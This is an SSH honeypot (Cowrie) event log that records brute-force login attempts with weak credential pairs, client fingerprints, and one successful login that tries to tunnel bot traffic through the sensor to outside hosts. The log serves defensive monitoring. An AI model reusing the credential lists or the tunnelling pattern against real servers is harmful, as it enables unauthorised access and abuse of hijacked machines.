{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.475965Z","src_ip":"45.153.34.195","session":"f52ed8d8fbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"nil","message":"login attempt [nil/nil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.613348Z","src_ip":"73.36.177.174","session":"74119bf706a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"min","password":"admin","message":"login attempt [min/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.870813Z","src_ip":"45.153.34.195","session":"f52ed8d8fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54986,"dst_ip":"159.203.135.109","dst_port":22,"session":"12e5c25d5253","protocol":"ssh","message":"New connection: 147.45.199.80:54986 (159.203.135.109:22) [session: 12e5c25d5253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.985675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:09.990731Z","src_ip":"147.45.199.80","session":"12e5c25d5253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.089524Z","src_ip":"147.45.199.80","session":"12e5c25d5253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.361907Z","src_ip":"103.176.20.57","session":"de6693c29f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12347890","message":"login attempt [root/12347890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.380872Z","src_ip":"147.45.199.80","session":"12e5c25d5253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":63142,"dst_ip":"10.17.0.5","dst_port":22,"session":"896ffb7ef584","protocol":"ssh","message":"New connection: 123.27.168.40:63142 (10.17.0.5:22) [session: 896ffb7ef584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.634950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.641361Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.664619Z","src_ip":"73.36.177.174","session":"74119bf706a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.872694Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:10.958508Z","src_ip":"45.153.34.195","session":"f52ed8d8fbd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:11.481316Z","src_ip":"147.45.199.80","session":"12e5c25d5253","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:11.999697Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.363958Z","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":11704,"dst_ip":"10.17.0.5","dst_port":22,"session":"1db916f917ca","protocol":"ssh","message":"New connection: 45.153.34.195:11704 (10.17.0.5:22) [session: 1db916f917ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.417075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.425065Z","src_ip":"45.153.34.195","session":"1db916f917ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.516488Z","src_ip":"45.153.34.195","session":"1db916f917ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.524752Z","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe,./","message":"login attempt [root/123qwe,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.822903Z","src_ip":"45.153.34.195","session":"1db916f917ca","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.877020Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.3 Mobile/17B111 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Vy9uL2NDNmdGbl9wdGtoSQ%3D%3Duv4LpsPZ1rn%2BHW3tN5F14D9uYPrqT6NvL27B4CoNkDRQOZ%2BK0M6JmXn1Zj%2BBpa4XsuW9TeqeRgP8fpCKOhQWAzhHHDJIp0vMAma7edmCD8zM6QwXel8a0biENVYekCoQgs1vIU6%2B7YqDq9SMuo%2FgwCyqz23tC1JDZIViH5mShJPr6Qf3JNkRfeu4R02j%2FIoFQ5PU%2FYH%2Bt%2FhVoFLbl94tqNUrj2HUGPNXa0FMufjIDdua1SU5PAjoyz2YRQkv4fzd2XTNAUcbLjHXDC1yn%2FsszqVEpmaMh9skQFioXsldIxZr27KMYm25%2B1NLzZc2zhIgjx1UOZHP6Rq2E5fNkq5KX1jete9f6TtThg1Xzi3W%2B4WCmW24OOs35eXJas1SmWbaQbbvhXb9hsPJOk9IrYlOzOXk1ZaI8knMoLspzPyW%2BeAroe0X5TETIF2cnU%2FtRswmNjJqdp%2FzyocCA1DsvSphslRr8znHs9D53RWKr7PtFFlc4wm6vWo3tviZX%2Bjw0xZc9WLbIcbMPQ%2BzeqU1YOfs89hwdE3a2ngeilhiVOqum7bsJrw44w61qoehVQ%2FCcsT%2FrIIHy06CS22MjCTeDnnCgw4QfiOXnSqw1IPKnMvWWn4xd%2FwMkBhT7aHZ0CQcYAbddt2ehlkYTKPOrXVa2R2tuUIbDawGSNluTy88DEJgOCIYaKx6h1kDZ4xhkPCjYEXnKK4hD4n4fFV32p2vBKCeWjQ64HmubJ9lbfAbf7Y1YpDGmkwlLvXWuhmCwhFvyKOFitHlvXlVIQQIvvtB%2FzUPCzOEJEbDU1bMoGUlA%2BF%2BsF%2FLvjSltkzQ6vFRV%2BHRopnP3nDb6cfn6EnIvTf%2Bsq1BfbvIJhCM%2B6FyvtwvP5vIGJBgHRIQzSugmbRc6e52tRdNRtTXJ5U8db9tl3gRRSCqKkyYC4GZMZiFuEoX9cp04PiiZm6XOTGe7wR6A81YhdP%2FGO3zfr0EeAA20HpWw8ShC2kptd0kRJCSsQROPjLV7WeU%2Bs1UT%2BHBT7x5df6hHiIp%2FORrkcWU0sXYl%2BDFfLhfDy1KF3ag3%2Bv3ViSKvmfvL2I%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.3 Mobile/17B111 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Vy9uL2NDNmdGbl9wdGtoSQ%3D%3Duv4LpsPZ1rn%2BHW3tN5F14D9uYPrqT6NvL27B4CoNkDRQOZ%2BK0M6JmXn1Zj%2BBpa4XsuW9TeqeRgP8fpCKOhQWAzhHHDJIp0vMAma7edmCD8zM6QwXel8a0biENVYekCoQgs1vIU6%2B7YqDq9SMuo%2FgwCyqz23tC1JDZIViH5mShJPr6Qf3JNkRfeu4R02j%2FIoFQ5PU%2FYH%2Bt%2FhVoFLbl94tqNUrj2HUGPNXa0FMufjIDdua1SU5PAjoyz2YRQkv4fzd2XTNAUcbLjHXDC1yn%2FsszqVEpmaMh9skQFioXsldIxZr27KMYm25%2B1NLzZc2zhIgjx1UOZHP6Rq2E5fNkq5KX1jete9f6TtThg1Xzi3W%2B4WCmW24OOs35eXJas1SmWbaQbbvhXb9hsPJOk9IrYlOzOXk1ZaI8knMoLspzPyW%2BeAroe0X5TETIF2cnU%2FtRswmNjJqdp%2FzyocCA1DsvSphslRr8znHs9D53RWKr7PtFFlc4wm6vWo3tviZX%2Bjw0xZc9WLbIcbMPQ%2BzeqU1YOfs89hwdE3a2ngeilhiVOqum7bsJrw44w61qoehVQ%2FCcsT%2FrIIHy06CS22MjCTeDnnCgw4QfiOXnSqw1IPKnMvWWn4xd%2FwMkBhT7aHZ0CQcYAbddt2ehlkYTKPOrXVa2R2tuUIbDawGSNluTy88DEJgOCIYaKx6h1kDZ4xhkPCjYEXnKK4hD4n4fFV32p2vBKCeWjQ64HmubJ9lbfAbf7Y1YpDGmkwlLvXWuhmCwhFvyKOFitHlvXlVIQQIvvtB%2FzUPCzOEJEbDU1bMoGUlA%2BF%2BsF%2FLvjSltkzQ6vFRV%2BHRopnP3nDb6cfn6EnIvTf%2Bsq1BfbvIJhCM%2B6FyvtwvP5vIGJBgHRIQzSugmbRc6e52tRdNRtTXJ5U8db9tl3gRRSCqKkyYC4GZMZiFuEoX9cp04PiiZm6XOTGe7wR6A81YhdP%2FGO3zfr0EeAA20HpWw8ShC2kptd0kRJCSsQROPjLV7WeU%2Bs1UT%2BHBT7x5df6hHiIp%2FORrkcWU0sXYl%2BDFfLhfDy1KF3ag3%2Bv3ViSKvmfvL2I%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.881042Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.885355Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]s6uN;o\\x94/\\x04#\\x7f<\\x88_o\\xf1h\\xd6\\xbd)@\\xa6\\xbd&\\xd1\\xec\\xb7\\x9e\\x91\\x8e\\xde .\\xba\\r\\x86U\\x16\\x07\\x83\\x11\\xa2\\xd5\\xb6d|_\\xc0\\xbc\\xe2\\xaa\\xa7\\xb7d.\\xbb\\x8e<\\x92B\\xe6\\xde\\xa9\\xcc\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xea\\xf5`\\xeft\\xf1\\xec\\xa2\\xd3\\xad\\xab\\xbf\\x8b\\xe8\\xcc=\\x18\\x96\\x9eX\\x16\\xdbfk\\xedf\\x15Q\\x02\\x94/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03]s6uN;o\\x94/\\x04#\\x7f<\\x88_o\\xf1h\\xd6\\xbd)@\\xa6\\xbd&\\xd1\\xec\\xb7\\x9e\\x91\\x8e\\xde .\\xba\\r\\x86U\\x16\\x07\\x83\\x11\\xa2\\xd5\\xb6d|_\\xc0\\xbc\\xe2\\xaa\\xa7\\xb7d.\\xbb\\x8e<\\x92B\\xe6\\xde\\xa9\\xcc\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb8\\xea\\xf5`\\xeft\\xf1\\xec\\xa2\\xd3\\xad\\xab\\xbf\\x8b\\xe8\\xcc=\\x18\\x96\\x9eX\\x16\\xdbfk\\xedf\\x15Q\\x02\\x94/\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:12.888173Z","src_ip":"123.27.168.40","session":"896ffb7ef584","protocol":"ssh"}
